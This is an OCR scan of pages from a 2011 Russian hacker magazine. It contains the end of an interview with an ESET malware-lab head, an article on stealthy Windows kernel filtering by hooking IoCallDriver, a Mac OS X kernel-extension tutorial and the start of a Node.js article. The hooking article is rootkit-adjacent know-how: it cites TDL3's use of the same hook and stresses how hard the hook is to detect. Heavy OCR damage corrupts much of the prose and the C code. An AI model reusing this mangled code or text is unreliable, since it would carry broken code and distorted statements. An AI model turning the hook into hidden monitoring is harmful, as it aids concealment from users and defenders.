W так какответы на него попадаютуже п од

NDА.Людей в России у нас не так мно го, как у наших

конкуренто~ноихквалификацияпозволяетнам

решатьочень с ложные задачи . Это, собствен но, и

задало вектор развития и расширения нашего

вирлаба: мы не берем к себе абы кого, а ищем

настоя щих увлечен ных профессион алов . А через

десять лет, я н адеюсь, нам удастся, на ко н ец,

сформироватьnол ностью группуанализасложных

угроз, так как сейчас оче н ь не просто с квалифи ци­

рованными кадрами в этой области.

r.1 ХОТЯ БЫ В ОБЩИХ СЛОВАХ: КАК В ESET a.l СОБИРАЮТ ОБРАЗЦЫ МАЛ ВАРИ? КАКИЕПРОПОРЦИИМЕЖДУИСТОЧНИКАМИ

ОБРАЗЦОВ?

n Раз ны х источ ников у нас действительно

W много, и я даже, наверное, обо всех и не знаю. Начи н ая от самих пользователей, которые

при с ылают нам сэм плы , и заканчивая активными

системами сбора с раз ных вредоносных

ресурсов. Антивирусные ком пании между собой

такжеобмениваютсяобразцамиугро~таккак

это не является какой-то составляющей

коммерческой тайны. Сейчас, во времена, когда в

теч е ни ечасаоди нитот жетроянможетбыть

п ере nакован н есколько раз, одним простым

сигнатурным обна ружением н е обойтись.

r.1 КАКИЕ ИНСТ__РУМЕНТЫ ТЫ ИСПОЛЬЗУ­

а.l ЕШЬВ СВОЕИРАБОТЕ?ЕСТЬЛИ У ВАС В КОМПАНИИ КАКОЙ-ТОУТВЕРЖДЕННЫЙ НАБОР ПРОГРАММ И УТИЛИТ?

n Ядумаю,здесьАмерикунидлякогоне

W открою. а нтивирусные ком пании исnользуют вовсю продукты от Hex-Rays. Н уа если серьезно, то

список, конеч но , есть, но он скорее сдела ндля

оз накомительных целей, и каждый может

использоватьтот инструментарий, который ему

болееудобен дляпоставленнойзадачи.Кроме iDА

Ргоссамогопервогосвоегознакомствас

инструментами обратно го анализа продолжаю

использовать редакто р Hiew, которыйдля меня

уже стал п ростонезаменим из-за скопившегася

количества собственных плагино в . Из отл адч иков

предпочитаю lmmunity Debuggerз a его тес ную

интеграцию с Python иудобноеАРI. Что касается

иссл едова ния ядра, то вы бор достаточ н о

аскетичен, и он пал на WinDbg [для н его, кстат и,

тоже есть своя Руthоn-надстройка pykdl . Но порой

бываетудобно использоватьстарыйдобрый Sof lce,

который в свое время стал моим проводником в мир

ядра NT. Для с рав нения кодадвух исполняемых

файлов и патч-анал иза счита юлучшим инструмен­

том Zynamics BinDiff. Н уа если нужно найти об щие

кодовые паттерны на большом количестве файлов,

тоунасимеютсяварсеналеспециальные

внутренние инструменты для эти х целей. Естьеще

куча всего внутреннего и секретн ого, что

описывать на паблик я просто не мо гу.

r.1 ВНУТРИ КОМПАНИИ НАВЕРНЯКА a.l ЕСТЬКАКИЕ-ТО ВНУТРЕННИЕ ИНСТРУКЦИИ И МЕТОДОЛОГИИ ПО

АНАЛИЗУ МАЛ ВАРИ. ЧТО ОНИ СОБОЙ ПРИМЕРНО ПРЕДСТАВЛЯЮТ?

ХАКЕР 10 / 153/2011

Page 96: Хакер №10 (октябрь 2011)

1rW Общи х инструкций не так уж и много, так

~ кактутможнохотьдесятьраз п еречиты­вать, но пока сам руками не попробуе шь-ничего

не будет пол учаться . Е сть глобальная Wiki, где размещаются некоторые путевые заметки по

особо сложным вредоносным программа м,

методам распаковки протекторов, ал горитмы

шифрования трафика ботнетов и полезные

скрипты. Кстати , пр о шлой осенью вышла очень

полезная книжица "Malwa гe Analyst's Cookbook" для начинающих, мы ее активно используем в

процессеподготовкикадров

r.t ЕСЛИ РИСОВАТЬДИАГРАММУТВОЕГО 1.;.1 РАБОЧЕГО ВРЕМЕНИ, ТО КАКИЕТАМ БУДУТ ГЛАВНЫЕ НАПРАВЛЕНИЯ И ПРОПОР­

ЦИ И МЕЖДУ ЭТИ М И ЗАДАЧАМ И?

lrW Пожалуй, диаграмму Гантая рисовать не

~ буду, но в общих чертах постараюсь ответить . Приходится искать компромиссы, так как с

карьеройресечерамнесовсемзавязыватьне

хочется, но командой управлять как-то надо.

Позтомуукаждойгруппыаналитиковнаразных

исследовательских направленияхестьответ­

ств енный человек , с которым я согласуюзадачи и

ихразвити~послечегоонужетранслируетболее

формальнуюпостановкузадачи непосредственно

на а налитиков . В одном из направлений мне

приходится совмещать роли аналитика с общим

руководством лабораторией. Покаэтотметод

компромиссов работает хорошо, сточки зрения

процентнаго соотношения общего времени

занятости, наверное, п олучается 27% в пользу управления и 73% в пользу ресеча . Совмещать зто,

конечно, не просто, и порой при ходится неделями

появляться дома после десяти вечера. Хорошо, что

близкиелюди относятся кэтому с пониманием и

всяч ески поддерживаютмою страсть к ис следова­

тельской деятельности.

r.t КАКИЕ ФОРУМЫ, БЛОГИ И РЕСУРСЫ 1.;.1 ТЫ САМ ЕЖЕДНЕВНО МОНИТОРИШЬ? ПОСОВЕТУЙ ЛУЧШИЕ РЕСУРСЫ, ЧТОБЫ БЫТЬ В ТРЕН ДЕ ПОСЛЕДНИХ НОВОСТЕЙ В ОБЛАСТИ МАЛ ВАРИ.

lrW Если вы хотите быть в тренде последних

~ событий на антивирусном поприще, то, наверное, стоит подписаться на блоги всех

антивирусныхкомпаний,таккакпериодическиу

многих можетчто-то интересное проскочить, и

лучше это читать в первоисточнике, а не в

новостны х выжимка х. Много интересного можно

найти втвиттере, если подписаться на известных

западных исследователей. Причем можно будет

не только найти, но и обсудить с ними найденн ую

тему. Если вы хотите быть в курсе мировых

тенденцийпообратномуанализ~тооднозначно

стоит подпи саться на гeddit с фидом Reveгse

Enginee г ing lwww.гeddit.com/г/

Reveгse EnQ i nee г i nQ ).

r.t РАССКАЖИ О КАДРОВЫХ ВОПРОСАХ .

1.;.1 КАКПРОИСХОДИТОТБОРКАНДИДА­ТОВ В ТВОЙ ОТДЕЛ, КАКИЕ ПРИМЕРНО ДАЮТСЯ ТЕСТОВЫЕ ЗАДАЧИ. ИССЛЕДУЕТЕ

ХАКЕР 10/153/2011

Интервью с главным антивирусным аналитиком Eset/Russia

ЛИ КАКИМ-ТО ОБРАЗОМ ВОЗМОЖНОЕ

БЛЕКХАТНО Е ПРОШЛОЕ КАНДИДАТА?

n Не посредственно к нам ЛЮДИ набираются

~ по результатам решения тестового задания в виде крякми. П ослетого как кандидат прошел

большую часть уровней, а лучше-все, он должен

предоставитьразвернутоеописаниепроцесса

прохождения . После верификации солюшена на

адекватность успешный кандидат приглашается

на очное собеседование, в рамках которого и

решается егодальнейшая судьба. Были и

забавныеслучаи : впроцессенайманаходились

умельцы, пропатчившие графический интерфейс

так, чтобы везде был статус << nройден >>, и

утверждавшие абуспешном прохождении

задания. Или же этим летом был случай, когда

потенциальный кандидат целую неделю решал

один хитрый уровень при помощи сообщества

wasm . г u . Что касается проверокна аффилирован­

ность с кибекриминальным миром, то они,

безусловно, есть, но раскрывать их суть я не буду.

r.t ЕСТЬ ЛИ ВООБЩЕУТВОЕГО ОТДЕЛА

1.;.1 ПОТРЕБНОСТЬ В НОВЫХ КАДРАХ? УЧИТЫВАЯ И ДЕМОГРАФИЧЕСКИЙ СПАД В РФ, И ПРОБЛЕМЫ РОССИЙСКОГО ОБРАЗОВА­НИЯ, НАСКОЛЬКО ВАМ УДАЕТСЯ ЗАКРЫВАТЬ

ВСЕЖЕЛАЕМЫЕ ПОЗИЦИИ?

lrW Потреб ность однозначно есть, так как

~ интересных задач меньше не становится, а число рук является о граниченным множеством .

Квалифицированные специалисты в нашей

области -это скорее призвание, чем профессия,

а нехватка увлеченных людей в этой предметной

области с каждым годом ощущается все больше и

больше . У нас постоянно открыт набор на

исследовательские позиции как в России, так и

за рубежом lwww.joineset.com). Причем есть уже большое количество примеров, когда наши

соотечественники выбирают работу за предела­

ми РФ и наша компания всячески пом огаете

переездом.

r.t КАКИЕ ГЛАВНЫЕ РЕЗУЛЬТАТЫ 1.;.1 РАБОТЫТВОЕГО ОТ ДЕЛА ЗА ПОСЛЕД­НИЙ ГОД, ЧЕМ ТЫ ЛИЧНО ГОРДИШЬСЯ?

lrW Наверное, основной гордостьюявляется

~ результатнашей исследовательской работы "Stuxnet Undeгthe Micгoscope··. Наша компания первой выпустила комплексный отчет по зтой

угрозе с подробным анализом вредоносных

модулей данного червя . После этого мы получали

благодарности от различных компаний и

гасорганов в течение нескольких месяцев. Также

нашауниверсальная утилита для кримина­

листическогоанализа скрытой файловой систем ы

семейств руткитов TDL3/3+/4, которая значительно ускоряетвремяизвлечения скрытого контейнера,

былаоченьтепло встреченазападными

правоохранительными органами.

r.t КАК ЧУВСТВУЕТСЯ КОНКУРЕНЦИЯ С 1.;.1 ДРУГИМИ УЧАСТНИКАМИ РЫНКА? ЗАИМСТВУЕТЕЛИ ДРУГУ ДРУГА ИДЕИ ,

ПЕРЕМАНИВАЕТЕЛИСОТРУДНИКОВ?ЕСТЬ

ЛИ СОТРУДНИЧЕСТВО И СОВМЕСТНЫЕ

ПРОЕКТЫ?

lrW Борьба за кадры, безуслов но, ест ь, но мы

~ стараемся нанимать к себе людей , которые ранее не были работниками других антивирусных

компаний. На это есть много причин, одна и,

наверно е, самая главная, когда к нам приходит

кандидат с многолетним опытом в антивирусной

индустрии с уже сложившейся точкой зре ния на

многие вещи, но эта точка зрения находится в

контексте его предыдущей работы. Очень сложно

таких людей переубедить, они пытаются

работать по уже выработанным принципам и

привычкам, а у нас они другие . Что касается идей,

то мы их не заимствуем, так как мы свои-то не

успеваем реализовывать и чужие нам ни к чему. д

вот заимствование наших идей я как раз

отчетливо наблюдаю, но, знаете, не красиво же

показ ывать пальцем на других . На антивирусном

рынке оченьжесткая ко н курен ция , поэтому

сотрудничество и совместные проекты здесь

очень редко встречаются . ::I:

Page 97: Хакер №10 (октябрь 2011)

КОДИНГ

Универ ильтр

АлександРЭккерт lstannic.manragmail.coml

'-'

сальныи НЕСТАНДАРТНЫЙ СПОСОБ ПЕРЕХВАТА IRP-ПAKETOB

В этой статье мы рассмотрим, как, имея

небольшой опыт, научиться буквально с

полпинка , но совершеннонестандартно

устанавливать фильтры уровня ядра.

Разработаем новый методзаставить

систему работать на себя.

На дискеты найдешь рабочий код, реали­

зующий перехват loCaiiDriver, поль­зуйся , но в благих

целях!

Кстати, имей в в иду, что все новомодные

руткиты/буткиты семейства типа TDLЗ 141, как прави­ло, перехватывают

loCaiiDriver, для того чтобы скрывать

свое присутствие в

системе .

ильтровать можно nрактически что угодно: доступ к файлам,

загрузку библиотек и старт процессов, отправку и п рием дан­

ных по Сети, в конце ко нцов, нажатие клавиш на клавиатуре

-и движение мыши. Все эти действия осуществляются несколькими

способами . Как правил о, если речь идет о пользовательских компо­

нентах, то банальным перехватом нужных функций. Если же нужно

перехватитьданные в ядре, то у Micгosoft'a существует с п ециальная

конце пция фильтров и мини-фильтров !более подроб н о об этом можно

почитать на MSDN: http :Ugoo.gl/ kPt8b, ht t p:Ugoo.gl/i gDObl . К примеру,

чтобы следить за отnравляемыми в Сеть запросами п ользователь­

ских приложений, имеется распространенный вариантТDI-фильтра,

который присоединяется в сетевой стек. Или же есть способ создания

NDIS-IM-дpaйвepa, который также является своеоб разным сетев ым

фильтром. В общем, возможностей очень много, а вотспособов их

реализации как-то маловато.

НОВЫЙ МЕХАНИЗМ Как правило, фильтрация происходит при помощи присоединения

своего объекта -устройства к нужному стеку-сетевому, файловому и

т. д. Более того, MicгosftWDM имен нотак и рекомедует поступать-и в

результате всетак и поступают: вызовы l oCгeateDev i ce и loAttachDevice

можноувидеть почти в каждом фильтре, законном или не очень. Смысл

находящегося в стеке фильтра-это пропускатьчерез себя IRР-пакеты,

путешествующие туда-сюда, для поиска и возможной сортировки, а

иногда-и изменений, передаваемых в IRР-данных. Ничего сложного

в этом нет, и практичный программ ист, написав пару-тройкуфильтров

и разобравшис ь в жизненном цикле IRР-пакетов, начинает уверен но

перехватыватьданные, которые ядро гоняетмежду девайсам и . Что же

тутможноеще nридумать, спросишь ты. Единственное, что общего можно

найти во всех этих фильтрах-устройствах, это вызов функции l oCaiiDгiveг.

Если взглянуть в микроскоп на эту функцию, то абсолютно ничего при­

мечательного мы там не увидим . Вс ё, что она делает, это отматывает стек

наз ад и вызываетmаjог-обработчика нижележащего драйве ра, передав

емууказатели на объект-ус тройство и обрабатываемый IRP-naкeт.

NTSTATUS FASTCALL IQgfCallDriver( __ _

ХАКЕР 10/153/2011

Page 98: Хакер №10 (октябрь 2011)

_I_NYDEVICE_OВJECT DeviceOt)ject, IN OUT PIRP lr'R

_J ____________ --··--·--· {

Irp->Currentlocation--; irpSp = IoGetNextirpStackLocation( Irp ); Irp->Tail.Overlay.CurrentStackLocation = irpSp;

_ _irpSp__:>Devicg_QbjeQ;_",_ oevi~;_g_Qbje~:!;; ·-------····-··--·--· ·····----- ---···-· driverObject = DeviceObject->DriverObject;, ________ _ status = driverOt)ject->Major-Function[ir-p_.Sg->MajorFunction)( __

DeviceObject, Irp ); retu rn status;

Кстати, loCaiiDгiveг-этo nсевдоним встречаемого в литературе

названия функции l ofCa iiDгi veг, которая, в свою очередь, всего лишь

является заглушкой для вы зо ва l opfCaiiDгive г. М ожно сразу отметить,

что если фильтроватьданные в ядре вышео nисанным образом, то

всё, чем будет себя выдавать такая фильтрация,- это один перехват

loCaiiDгiveг. И вс ё! Н е будет существовать каких-то подозритель-

ных устройств, прицепленны х в стек, не будет п ерех ватов mаjог­

обработчиков в системе. В сё, ч то мож но будет найти , - это изменен­

ный адрес функции loCaiiDгiveг, а вотуже определить, что именно

фильтруется и какие данные проходят че рез н утро твоегонепростого

дра й вера [если он, конечно, существует отдельным файлом, н о что

меша ет заразитьдругой драйвер? ! , будет очень и очень сложно.

Теперь самое главное и самое сложн ое. Просто й перехват IRР-пакета ,

основанный на единственном хуке loCaiiDгi ve г, в нашей ситуации

не поможет, и вот поч ему. Скажем , МJ-код IRP _MJ _C REATE может посылаться при создании файла на дис ке или при создании сетевого

соединения . Чтобы сделать что-то полезно е, получив контроль над

IRР-пакетом с таким кодом, твой драйвер должен обладать опреде­

ленной логикой, позволяющей определить, куда именно и с какой

целью посылается этот IRР- п акет, а вот это уже достаточно гем оррно,

но всё же осуществимо . Вс ё дело в том , что nри перехвате loCaiiDгiveг

в наши руки попадает и указатель на DeviceObject, ра спарсив который ,

можнодостаточноточно определить, комупредназначается IRP. Воэьмем конкретный при мер . При чтении сканкода клавиатуры по сте ку подклю­

ченных <<устройств клавиатуры>> прогоняется IRР-пакет с кодом IRP_MJ_ READ. Мы перех ватываем loCa i iDгive г, получ аемуказатель на IRР-пакет,

MajoгFunctioп которого равняется IRP_MJ_READ. Но как определить, что этотnакет именно от клавиатуры? Для этого, как я уже говорил, нам нуж­

но проанализироватьтакже перех ваченныйукаэатель на OeviceO bject. В случае с клавиатурой это можно сделать следующим образом.

Так как устройств в стеке может быть н ес колько, можно [как вари­

ант! просто просмотреть название тех дра йверов, которые создали эти

устройств а:

BOOLEAN IsKeybordDevice( DEVICE_OВJECT * topDevice ) { _uNico~_:?IBIN§_dr.ivecNaJne = @; __________________________ _ DEVI~_OВJECT * device = е; __________ ------RtliпitUnicodeStriпg( & driverName, L"\\Driver\\Kbdclass" );

for (device = TopDevice; device; device = device->DeviceObjectExtension->AttachedTo)c__ ___ _

_ { ______ _ if (__! RtlComgarei,inicodeString(_

&device->DriverObject->DriverName, &driverName, TRUE)) return TRUE;

return FALSE;_

ХАКЕР 10/153/2011

Универсальный фильтр

Ключевым моментом для филырации явля ет с я парсинг структу ­

ры Device Objec t. Пол учив указатель н а нее, мы легко пол учи м указа­

тель на принадлежащий структуре описатель драйвера- структуру

DRIVER_OBJECT. Можно также проанализировать стек, где был п ой­ман за х воп IRP, для этого, если помнишь, нужно вызывать IO_STACK_ LOCAТION *stack = IoGetCurrentirpStackLocation(pirp). Далее по указателю на с тек ты уже сможешь п роан ализировать указате ль н а

<<oбъeкт-фaйл >> -stack->FileObject. То естьтакими вот н ех итрыми

действиями ты сможешь определить, куда и кому предназначается

IRР - пакет, ну а что с ним делать- дело сугубо твое. Так , например,

можно запретить чтение каки х-либо файлов с диск а. Не нуж н о пи сать

с ложны е фильтры файловой системы для этого!

Достаточно перехватить loC aiiDгiveг, организовать фильтрацию

IRР-пакетов с кодом IRP_MJ_CREATE, по указателю stack->Fil eO bject получить имя файла:

OВJECT_NAME_INFORMAТION *fileNameinformation = е;

status = ObQueryNameString( stack->FileObject, fileNameinformation, 1е24, &retSize);

wcscat(fileNameinformatioll:)Name.Buffer, _ _s tack->FileObj_g_ct->FileName,_fuJffer); __ _ ill;>gPrint("file name now is: %ws \!f, fileNameinfocm_ation-"~Name.Buffer);

.. . после чего завернутьэтотiRР-пакет, если он, допустим , предназна­

чен для открытия того файла, который тебе нужно за щитить .

ULONG CreateDisposition = _ (~tш;_k:?Pa c.<!meters .Crg_ate .OQ:!;_:!Qo.s» 24 )_11! е,~хееееемt;

if((CreateDisgosition-=FILE CREATE) ll ___ _ (CreateDisposition==FILE_OPEN_IF )11 (CreateDisposition==FILE_OVERWRITE_IF))

Irp->IoStatus.Status = STATUS_ACCESS_DENIED; Ir-Q->IoStatus .Information = €!; __________ _ IoComgleteReguest(Irp,JQ_МQ_INCREMENT); _____ _ ExFreeP_ool(file]'!ameinf or-matioo); return STATUS_ACCESS_DENIED;

сложности В способе фильтрации IRР-данных, основанном на п е ре х вате

l oCai iDгi ve г, есть одна серьезная сложность . Дело в том, что loCa iiDгiveг

является чрезвычайн о используемой функцией в ядре Windows'a. Это связано с очевидным фактом -функция только и делает, что отправля­

ет IRР-пакеты направо-налево , а в за имодействие между драйверами­

устройствами в ядре основано именно на посылке IRР-пакетов. Правд а,

при обслуживании файло вой системы также иногда используется

механизм FastiO, но об этом позже. Е сли представить, что вся эта куча

драйверов начинаетслатьдруг другу IRР-пакеты и и х обрабатывать, то

можно легко представить. какую нагрузку и спытывает loCaiiDгiveг­

peчь можетидти о нескольки х сотня х вызова х в секунду. Поэтомууста­

новка/снятие пере хвата на lоСаiiDгi vег-делотонкое и легко рушащее

систему в виде BSOD'a с кодом DRIVER_UNLOADED_WIТHOUT_CANCELLING_ PENDING_OPERAТIONS. Это происходит обычно, если начинаешь при

п е рехвате не оченьаккуратно обрабатывать те данные, которые несут с

собой IRР-пакеты. Спешу предостеречь: необходимым условием твоего

драйвера, который будет пере хватывать loCaiiDгi ve г, должна быть гра­

мотная обработка и за вершение всех просмотренны х IRР-пакетов .

ЗАКЛЮЧЕНИЕ Как оказывается, сделать универсальныйинестандартный фильтр

довольно легко. А если достаточно о пыта кодинга драйверов , то соз­

данный фильтр будетобладать еще и толикой н адежности. Возмож­

но стей применения у этой не хитрой техники очень много, а затраты на

реализацию минимальные- это хо роший стимул для развития темы в

до машни х условиях. Удачного компилирования , и да пребудете тобой

Сила! :Х:

099

Page 99: Хакер №10 (октябрь 2011)

КОДИНГ Всеволод Захаров [sevalavingrad.ru l

Ядром по Макинтошу

ИЗУЧАЕМ КЕRNЕL-КОДИНГ ПОД МАС OS Х

Разработка прикладных программ под Мае OS Х и iOS относительно неплохо освещена в лите­ратуре и интернете . А как насчеттемы создания

кода, который должен выполняться в режиме

ядра? С этим- глухо. В этой статье мы попробу­

ем данную несправедливость ликвидировать .

ХNUвнутри

100

Файловые

систе-мы

Сеть

1/0Kit

Драйверы

Я POMACOSX Для начала-немного теории, которая поможеттебе при создании рас­

ширений ядра. Мае ОSХоснована на ядреХNU IXNU is поt UNIXI.XNU-этo гибридное ядро, которое состоит из нескольких компонентов : подсисте ­

мы Mach, BSD и объектно-ориентированногофреймворкадля создания драйверов 10 Kit .

Масh-это микроядро, созданное в результате исследований в

университете Карнеги в середине 80-х годов. Микроядерная архитекту­

ра , как известно, неплохо смотрится в презентация х, но , к сожалению,

приводит к серьезным проблема м с производительностью и отладкой.

Видимо, поэтому пpoeктGNU/HURD, в котором система GNU построена не на монолитном Liпux, а на микрояд ре, все еще далек от выпуска стабиль­

ной версии. Нет-нет, не волнуйся, про Мае OSX мы подобное не скажем, и вовсе не потому, что боимся мести яблочных фанатое :1. Дело в том, что в Мае OSX подсистема Mach используется в несколько измененном виде :

микроядро и все компоненты, которые онодолжно обслуживать, собраны

в едином адресном пространстве монолитного ядра. Такой ход, с одной

стороны, позволяет иметь более структурированное ядро, а с другой­

избавляетот nроблем с отладкой и nроизводительностью.

Масh-код в XNU отвечает за большинство низкоуровневых функций: • вытесняющая многозадачность;

• виртуальнаяпамят~

• межпроцессноевзаимодействи~

ХАКЕР 10 /153/201 1

Page 100: Хакер №10 (октябрь 2011)

()00

Croups & Files 'У !1 SampleKext

• Ci;;l source • Resources

• liJo Products

._ @) тargets

., ~ Executo:aЫes • Errors and Warnings т Find Results

дctlon

ео о

...

SampleKext

о lnfo

!Е) SampleKext.c

Ядром по Макинтошу

(о_. String Matehing

Starch

• "'\. Code о А е

о

о

в о

J

• IJ!I вookmilrks 1> t;l SCM

8 Project Symbols

·~ lmplemtnt01tlon Flles

kern_return_t. Soмp let:::ext_stort (k.IIOd_lnfo_t * ki , voi d * d) { prlntf ("KEXТ loade<lln") ; return KERN_SI.CCESS ;

• NIB FHes

kern_return_t $c:8c) leКext_stop (1<.1100_\nfo_t * ki, vo id * d) { prtntf C KEXT ~.nlooded\n" ) ;

8ulld SUCCttdtd

kехtудачно собрался

nрерывания;

консольный ввод-вывод.

return KERН_SIXCESS j

8utld SUCCttdtd

Подсистема В 50 ядра Мае 05Хоснована на коде из FгeeB5D и отвеча-

ет за выполнение следующих задач:

идентификацию пользователя и базовую модель безопасности;

P051XAPI, системные вызовы В 50;

TCP/ IP В50-сокеты;

файловые системы;

различные механизмы синхронизации ;

поддержку реального времени.

Для взаимодействия с оборудованием в ядре Мае 05 Х прим еняется

объектно-ориентированный фреймворк 10 Kit . Он и спользуетограни­

ченное подмножество С++ в качестве языка программирования . В нем,

например, отсутствуюттакие элементы, как исключения, множествен­

ное наследование, шаблоны и RПI. Каждый тип сервиса ядра или

устройства предста влен в 10 Kit в виде класса С++ , а каждый конкретный

сервис или устройство-в виде объекта этого класса. Короче говоря ,

драйвер 10 Кit-это объект, который управляетустройством или шиной ,

nредставляя абстрактный интерфейс к ним для других частей системы.

MO,lJ,YЛИЯ,lJ,PA Мае 05 Х предоста вляет возмож ность расширять ядро с nомощью

динамической загрузки модулей ядра, которые называют kехt'ами [от

keгnel extensionl . Если ты не собираешься править исходники XNU,

то единственная возм ожность выполнить код в режиме ядра - это

написание и загрузка расширения. Так, драйвера IOKit реализованы

именно в виде kext'oв. Кехt'ы -это бандлы, как и обычные пользова­

тельские приложения Мае 05 Х, и они содержат:

plist-фaйл , в котором описано содержимое бандла, установки и за­

висимости модуля;

бинарные файлы модуля ядра-файлы в Масh-0-формате, в которых

содержится код, nодгружаемый в адресное пространство ядра;

ресурсы- иконки, данные для локализации и т.п.

Когда kex t создан, загрузить его в ядро можно с помощью команды

kextload из терминала . При этом необходимо иметь права администра­

то ра . Отлаживать kext ' ы сложнее пользовательских приложений. В

первую очередь, нужно разрешить отладку ядра . Для отладки ядра,

ХАКЕР 10 /153/20 11

е Succeed~ ,а

как водится , необходимо использоватьдве машины: на одной работа­

ет ядро, а на другой - отладчик. Для отладки используется GDB. Когда

kext отлажен, его можно уста навливать в систему. Тогда за за грузку

расширения при запуске системы будет отвечать kext-manageг. Для

этого бандл kext'a нужно поместить в /5ystem/Libгaгy/E xtensions.

При создании kext'oв [как и остального софта] в Мае 05Х используется

XCode. Поnробуем создать nростое расширениеядра с помощью этой IDE.

Для этого нам нужно:

1. ЗапуститьХСоdе :].

2. Создать новый nроект и среди шаблонов выбрать Generic Keгnel

Extension, поскольку мы будем создавать простое расширение на С,

а не 10 К it -драйвер на С++.

3. В качестве имени проекта указать5аmрlеКехt [да, я настаиваю :11 .

Если ты правильно реализовал описанный выше нехитрый

ал горит м, то в качестве его логичногозавершен и я система создаст

за нас файл 5ampleKext.c. В нем будут содержаться две функции :

5ampleKext_staгt и 5ampleKext_stop. Как ты уже догадался , эти функ­

ции вызываются при загрузке/выгрузке расширения . В шаблоне эти

функции ничего полезного н е делают, а в реальном kext'e они отвечают

New Project

Choose а template for your new project:

~ Mac.OSX

Applic.1tion

Audio Unlts

Autom;~tor Actlon

Bundle

Command Llne Util ity

Dynamic Llbrilry

Framework

' j.1Vi1

Standard Apple Plug-ins

St01tic Libr.1 ry

Other

Generic Kernel Extenslon

IOKitDriver

Тhis project builds а kernel extenslon.

Выбираем шаблон для nроекта

J 101

Page 101: Хакер №10 (октябрь 2011)

КОДИНГ

users -mac-pro:Debug user$ sudo ер -R SampleKext.kext /tmp users-mac-pro:Debug user$ sudo kextload /tmp/SampleKext.kext kextload: /tmp/SampleKext.kext loaded successfully users -mac-pro:Debug user$ sudo kextunload /tmp/SampleKext . kext kextunload: unload kext /tmp/SampleKext.kext succeeded users-mac-pro : Debug user$ tail -5 /var/log/system.log Jul 4 00:10:27 users-mac-pro sudo[309]: user : TTY=ttys001 ; PWD=/Users/user/Documents/Sampl eKext/build/Debug ; USER=root ; COHNAND=/Ьin/cp -R SampleKext . kext /tmp Jul 4 00:10:45 users-mac-pro sudo[310]: user : TTY=ttys001 ; PWD=/Users/user/Documents/Sampl eKext/build/Debug ; USER=root ; COM~~ND=/sbin/kextload /tmp/SampleKext . kext Jul 4 00:10:45 users -mac-pro kernel[O]: КЕХТ loaded Jul 4 00:10:52 users-mac-pro sudo[311): user : TTY=ttysOOl ; PWD=/Users/user/Documents/Sampl eKext/bu ild/Debug ; USER=root ; CO~~ND=/sbin/kextunload /tmp/SampleKext.kext Jul 4 00:10:52 users-mac-pro kernel[O]: КЕХТ unloaded users-mac-pro:Debug user$

Подгружаем kехtдля тестирования

за регистрацию callback'oв для различных событий ядра и другие

действияпоинициализации/деинициализациирасширения. Напри ­

мер, в SampleKext_staгt мы могли бы зарегистрироватьсокет, через

который прикладные программы могли бы общаться с нашим kext'oм.

Но для начала мы в этих функцияхтолько выведем тестовые сообще­

ния, которые можно будет увидеть при за грузке/выгрузке расширения.

S.i!J!Iple~e.J!t& ______________________________________ .. ___ _

ltiш;JyJ!e_.S~Y-~L .. sYs:tm,b~.---·-···-- _____________ . __ _____ _ ______ _ #include_<:mach/mach _ types ,_h>

kern_return_t MyKext_start (kmod_info_t * ki, void * d) {

printf( "Ke.J!1:_lgaded. \ n" );

-- Лt!J.rд.J5IBN_SJ,!CCISS; ____ --- - ····-------- ----·-- ·- --·--}

kern_return_t MyKext_stop (kmod_info_t * ki, void * d)

printf( "Kext unloaded.\ n" ); return KERN_SUCCESS;

Сборкапроектапослеэтогопройдетбезпроблем,ноеслитыпопро­

буешьзагрузитьSаmрlеКехt . kехt, то ничего хорошего не получится,

поскольку мы еще не позаботилисьо содержимом plist-фaйлa. Каждый

kext обязательно должен содержать lnfo.plist в ХМ L-формате . Посмотрим

важныедля правильной загрузки расширения ключи в этом файле:

CFBundleldentifier- идентификатор kext'a. Например, com.apple. dгiveг. AppleUSBMeгgeNub.

СFВuпdlеЕхесutаЫе-бинарный файл kext'a. Его может и не быть в

случае 10 Кit-драйверов.

ДЛЯКОРРЕКТНОЙЗАГРУЗКИ КЕХТ•А ДОСТАТОЧНО

БУДЕТ ПОПРАВИТЬ

OSBUNDLELIBRARIES

102

CFBundleVersion-вepcия бандла .

OSBundleLibraries-либы, от которых зависит kext.•

IOКitPersonalities-oбъeкты 10 Kit, для которых нужно подгружать этот kext. Если это драйвер, конечно .

Поскольку мы создаем не драйвер, а обычное расширение

ядра, для корректной загрузки kехt 'адостаточно будет поправить

OSBundlelibгaгies. Для того чтобы автоматом получить список всех ком­

понентов, от которыхзависит расширение, можно использоватьутилиту

kextlibs. Запустив ее с ключом -xml, ты сразу получишьХМ L-код, который

нужнодобавить в plist-фaйл:

kextlibs -xml M}'Kext.!g!JIL 5.!se}'2QSBundleLibrarie.sill.e}'_>_. ___________ .. ___ .................. _____ _

~Qict > ·-·-----·-~ey>com . ;эpp1e •. kpJ,Jj.JJ_kern</keY2 <string>9. 2. 2</string>

</dict>

Наш kext зависит всего отодно го элемента. Скопируем этот код в lnfo.plist. Для того чтобы наш kext заработал, остался один важный шаг: бандл kext'a должен принадлежать адми ни стратору. Для тестирования

скопируем его в /tmp справами рута:

sudo ер -R SampleKext.kext /tmp

Воттеперь можнозагружать наш модуль:

sudo kextlpaJJ..Lt.rnp/SampleKext.. . .kei<.:t. ________________________________ ..

После зто го в /vaг/log/system.log ты можешь увидеть вывод нашего

kext 'a. Чтобы выгрузить kext, используем kextunload: sudo kextunload 1 tmp/SampleKext.kext.

Мы создали простейший модульядрадля Мае OSX. Все, что он умеет на сегодня, - это корректным образом загружаться и выгружаться. В

идеале же модули ядра могут использоваться не только для создания

драйверов, но и, например, для вынесения часто используемой мно­

гими прикладными программами функциональности в сервис ядра.

Удачно го kегnеl-кодингаl :Х:

ХАКЕР 10/153/ 2011

Page 102: Хакер №10 (октябрь 2011)

Сергей Конаненка lkononenchegГclgmail.coml

ПИШЕМ СЕРВЕР МГНОВЕННЫХ СООБЩЕНИЙ

HANODE.JS

Все знают, что такое

JavaScгipt. Но мало кто

может представить его

обрабатывающим не текст в дивах и спанах, а тысячи

и тысячи входящих запро­

сов. Мы сегодня не только

представим, но и разрабо-

таем на JS свой сервер!

nodejs.oгq -caйт nроекта,здесьже

документация и

nримеры.

Масштабируемость­это больной воnрос для Node.js. Основная nроблема­взаимодействие

междуnроцессами.

Но есть изящное решение с nомощью

рuЫish/suЬsсгiЬе­вэаимодействия, использующего базу данных Redis. Воз­можно, мы об этом еще наnишем .

ХАКЕР 10/153/2011

Page 103: Хакер №10 (октябрь 2011)

ЧТО ТАКОЕ NODE.JS Раньше для создания ка стамного сервера н еобходимо было припожить

немало усилий, а разработка асинхронной моделиуправления вводом

